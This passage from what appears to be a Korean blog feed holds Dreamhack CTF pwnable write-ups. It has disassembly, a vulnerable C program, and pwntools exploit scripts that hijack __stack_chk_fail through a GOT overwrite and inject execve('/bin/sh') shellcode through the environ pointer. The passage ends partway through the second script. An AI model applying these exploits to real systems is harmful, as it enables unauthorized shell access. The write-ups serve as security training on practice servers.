</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008f3</span> <span class="o">&lt;+</span><span class="mi">9</span><span class="o">&gt;:</span>     <span class="n">call</span>   <span class="mh">0x4006e0</span> <span class="o">&lt;</span><span class="n">system</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008f8</span> <span class="o">&lt;+</span><span class="mi">14</span><span class="o">&gt;:</span>    <span class="n">nop</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008f9</span> <span class="o">&lt;+</span><span class="mi">15</span><span class="o">&gt;:</span>    <span class="n">pop</span>    <span class="n">rbp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008fa</span> <span class="o">&lt;+</span><span class="mi">16</span><span class="o">&gt;:</span>    <span class="n">ret</span>    
</span></span><span class="line"><span class="cl"><span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disass</span> <span class="mh">0x4006d0</span>
</span></span><span class="line"><span class="cl"><span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="n">__stack_chk_fail</span><span class="err">@</span><span class="nl">plt</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004006d0</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">jmp</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x20094a</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x601020</span> <span class="o">&lt;</span><span class="n">__stack_chk_fail</span><span class="err">@</span><span class="n">got</span><span class="p">.</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004006d6</span> <span class="o">&lt;+</span><span class="mi">6</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004006db</span> <span class="o">&lt;+</span><span class="mi">11</span><span class="o">&gt;:</span>    <span class="n">jmp</span>    <span class="mh">0x4006b0</span>
</span></span><span class="line"><span class="cl"><span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
</span></span></code></pre></div><p>get_shell 함수의 주소는 0x4008ea, __stack_chk_fail 함수의 got값은 0x601020로 확인할 수 있다. 이를 바탕으로 __stack_chk_fail함수 주소를 get_shell 함수로 바꾸기 위해 익스플로잇 코드를 작성해봤다. 해당 익스 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">22697</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">stackChkFail</span> <span class="o">=</span> <span class="mh">0x601020</span>
</span></span><span class="line"><span class="cl"><span class="n">getShell</span> <span class="o">=</span> <span class="mh">0x4008ea</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">paylaod</span> <span class="o">=</span> <span class="s2">&#34;</span><span class="se">\x90</span><span class="s2">&#34;</span><span class="o">*</span><span class="mh">0x50</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">paylaod</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Addr : &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">stackChkFail</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Value : &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">getShell</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>간단하게 카나리 부분을 덮어쓰기 하여 __stack_chk_fail를 인위적으로 일으키면 그전에 바꿔치기한 함수인 get_shell이 실행된다.</p>
]]></content:encoded></item><item><title>[Dreamhack] PWN environ</title><link>https://dig06161.github.io/2022/12/20/dreamhack-pwn-environ/</link><pubDate>Tue, 20 Dec 2022 17:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/12/20/dreamhack-pwn-environ/</guid><description>드림핵 포너블 environ 문제풀이</description><content:encoded><![CDATA[<p>오랜만에 풀어보는 시스템 해킹이다.</p>
<p>environ을 간단히 설명해보면 프로그램이 동작할 떄 시스템의 환경변수를 참조해야할 경우가 있다. 이때 사용하는 것이 environ 포인터인데 이는 시스템의 환경변수를 가리키며 로더의 초기화 함수에 의해 초기화 된다.</p>
<p>이번 문제의 코드를 살펴보면 다음과 같다</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">long</span> <span class="n">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">jump</span><span class="p">)();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;stdout: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Size: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;*jmp=&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">jump</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">jump</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>stdout의 주소값을 출력해주고 입력받은 사이즈 만큼 buf에 쓰고 value의 주소를 정해줘 해당 주소로 점프해 어셈블리 코드를 실행하게 된다.</p>
<p>바이너리에 걸린 보안 기술을 보면 다음과 같다</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl">    <span class="n">Arch</span><span class="p">:</span>     <span class="n">amd64</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">little</span>
</span></span><span class="line"><span class="cl">    <span class="n">RELRO</span><span class="p">:</span>    <span class="n">Partial</span> <span class="n">RELRO</span>
</span></span><span class="line"><span class="cl">    <span class="n">Stack</span><span class="p">:</span>    <span class="n">Canary</span> <span class="n">found</span>
</span></span><span class="line"><span class="cl">    <span class="n">NX</span><span class="p">:</span>       <span class="n">NX</span> <span class="n">disabled</span>
</span></span><span class="line"><span class="cl">    <span class="n">PIE</span><span class="p">:</span>      <span class="n">No</span> <span class="n">PIE</span> <span class="p">(</span><span class="mh">0x400000</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">RWX</span><span class="p">:</span>      <span class="n">Has</span> <span class="n">RWX</span> <span class="n">segments</span>
</span></span></code></pre></div><p>stack canary가 적용되어 있지만 이를 체크하기 전에 쉘 코드가 실행되어 크게 신경쓸 부분은 아닌것 같다.</p>
<p>우선 해당 바이너리를 익스하기 위해 stdout주소에서 stdout offset의 차를 구해 libc base주소를 구한다. 이후 해당 libc base주소에 environ offset을 더해 바이너리의 environ주소를 구한다. 다음으로 buf를 오버플로우 시켜 environ 영역에 쉘 코드를 삽입하고 해당 주소로 점프하면 쉘을 구할 수 있다.</p>
<p>main함수의 어셈블리를 살펴보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="mh">0x000000000040089a</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rbp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040089b</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040089e</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0x40</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008a2</span> <span class="o">&lt;+</span><span class="mi">8</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="nl">fs</span><span class="p">:</span><span class="mh">0x28</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ab</span> <span class="o">&lt;+</span><span class="mi">17</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008af</span> <span class="o">&lt;+</span><span class="mi">21</span><span class="o">&gt;:</span>    <span class="n">xor</span>    <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008b1</span> <span class="o">&lt;+</span><span class="mi">23</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008b6</span> <span class="o">&lt;+</span><span class="mi">28</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x40083e</span> <span class="o">&lt;</span><span class="n">initialize</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008bb</span> <span class="o">&lt;+</span><span class="mi">33</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x2007be</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x601080</span> <span class="o">&lt;</span><span class="n">stdout</span><span class="err">@@</span><span class="n">GLIBC_2</span><span class="mf">.2.5</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008c2</span> <span class="o">&lt;+</span><span class="mi">40</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008c5</span> <span class="o">&lt;+</span><span class="mi">43</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a0d</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ca</span> <span class="o">&lt;+</span><span class="mi">48</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008cf</span> <span class="o">&lt;+</span><span class="mi">53</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x4006a0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008d4</span> <span class="o">&lt;+</span><span class="mi">58</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a19</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008d9</span> <span class="o">&lt;+</span><span class="mi">63</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008de</span> <span class="o">&lt;+</span><span class="mi">68</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x4006a0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008e3</span> <span class="o">&lt;+</span><span class="mi">73</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x38</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008e7</span> <span class="o">&lt;+</span><span class="mi">77</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ea</span> <span class="o">&lt;+</span><span class="mi">80</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a20</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ef</span> <span class="o">&lt;+</span><span class="mi">85</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008f4</span> <span class="o">&lt;+</span><span class="mi">90</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x400700</span> <span class="o">&lt;</span><span class="n">__isoc99_scanf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008f9</span> <span class="o">&lt;+</span><span class="mi">95</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a24</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008fe</span> <span class="o">&lt;+</span><span class="mi">100</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400903</span> <span class="o">&lt;+</span><span class="mi">105</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x4006a0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400908</span> <span class="o">&lt;+</span><span class="mi">110</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x38</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040090c</span> <span class="o">&lt;+</span><span class="mi">114</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x20</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400910</span> <span class="o">&lt;+</span><span class="mi">118</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400913</span> <span class="o">&lt;+</span><span class="mi">121</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400918</span> <span class="o">&lt;+</span><span class="mi">126</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x4006c0</span> <span class="o">&lt;</span><span class="n">read</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040091d</span> <span class="o">&lt;+</span><span class="mi">131</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a2b</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400922</span> <span class="o">&lt;+</span><span class="mi">136</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400927</span> <span class="o">&lt;+</span><span class="mi">141</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x4006a0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040092c</span> <span class="o">&lt;+</span><span class="mi">146</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x30</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400930</span> <span class="o">&lt;+</span><span class="mi">150</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400933</span> <span class="o">&lt;+</span><span class="mi">153</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a20</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400938</span> <span class="o">&lt;+</span><span class="mi">158</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040093d</span> <span class="o">&lt;+</span><span class="mi">163</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x400700</span> <span class="o">&lt;</span><span class="n">__isoc99_scanf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400942</span> <span class="o">&lt;+</span><span class="mi">168</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x30</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400946</span> <span class="o">&lt;+</span><span class="mi">172</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rax</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400949</span> <span class="o">&lt;+</span><span class="mi">175</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x28</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040094d</span> <span class="o">&lt;+</span><span class="mi">179</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x28</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400951</span> <span class="o">&lt;+</span><span class="mi">183</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400956</span> <span class="o">&lt;+</span><span class="mi">188</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400958</span> <span class="o">&lt;+</span><span class="mi">190</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040095d</span> <span class="o">&lt;+</span><span class="mi">195</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rcx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400961</span> <span class="o">&lt;+</span><span class="mi">199</span><span class="o">&gt;:</span>   <span class="n">xor</span>    <span class="n">rcx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="nl">fs</span><span class="p">:</span><span class="mh">0x28</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040096a</span> <span class="o">&lt;+</span><span class="mi">208</span><span class="o">&gt;:</span>   <span class="n">je</span>     <span class="mh">0x400971</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">215</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040096c</span> <span class="o">&lt;+</span><span class="mi">210</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x400690</span> <span class="o">&lt;</span><span class="n">__stack_chk_fail</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400971</span> <span class="o">&lt;+</span><span class="mi">215</span><span class="o">&gt;:</span>   <span class="n">leave</span>  
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400972</span> <span class="o">&lt;+</span><span class="mi">216</span><span class="o">&gt;:</span>   <span class="n">ret</span> 
</span></span></code></pre></div><p>stdout을 통해 libc base 주소를 구하는 것은 어렵지 않다.
pwntools을 이용하면 된다. 출력된 주소 - libc.symbols[&quot;<em>IO_2_1_stdout</em>&quot;]를 이용하면 쉽게 구할 수 있다. 가장 중요한 것은 buf의 위치와 environ 위치의 offset을 구해야 하는데 gdb 상에서 살펴보면 read 함수에서 받아 저장할 위치는 rbp-0x20이라고 되어있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="mh">0x0000000000400908</span> <span class="o">&lt;+</span><span class="mi">110</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x38</span><span class="p">]</span>
</span></span></code></pre></div><p>이부분의 주소값과 environ의 주소값의 차를 구하고 쉘코드의 길이를 더한 만큼 오버플로우 시켜야 한다.</p>
<p>그러면 buf와 environ의 offset 만큼의 nop코드로 채운 후 쉘코드를 삽입하고 이로 건너뛰는 시나리오가 될 것이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">17150</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./libc.so.6&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#c = process(&#34;./environ&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;/usr/lib/x86_64-linux-gnu/libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">shell</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="o">.</span><span class="n">execve</span><span class="p">(</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;stdout: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">stdout</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&#34;&#39;&#34;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;stdout : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">stdout</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">stdoutOffset</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s2">&#34;_IO_2_1_stdout_&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">libcBase</span> <span class="o">=</span> <span class="n">stdout</span><span class="o">-</span><span class="n">stdoutOffset</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;libc base : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libcBase</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;libc offset : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">stdoutOffset</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">envAddr</span> <span class="o">=</span> <span class="n">libcBase</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s2">&#34;environ&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;environ addr : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">envAddr</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">bufToenvOffset</span> <span class="o">=</span> <span class="mh">0x148</span>
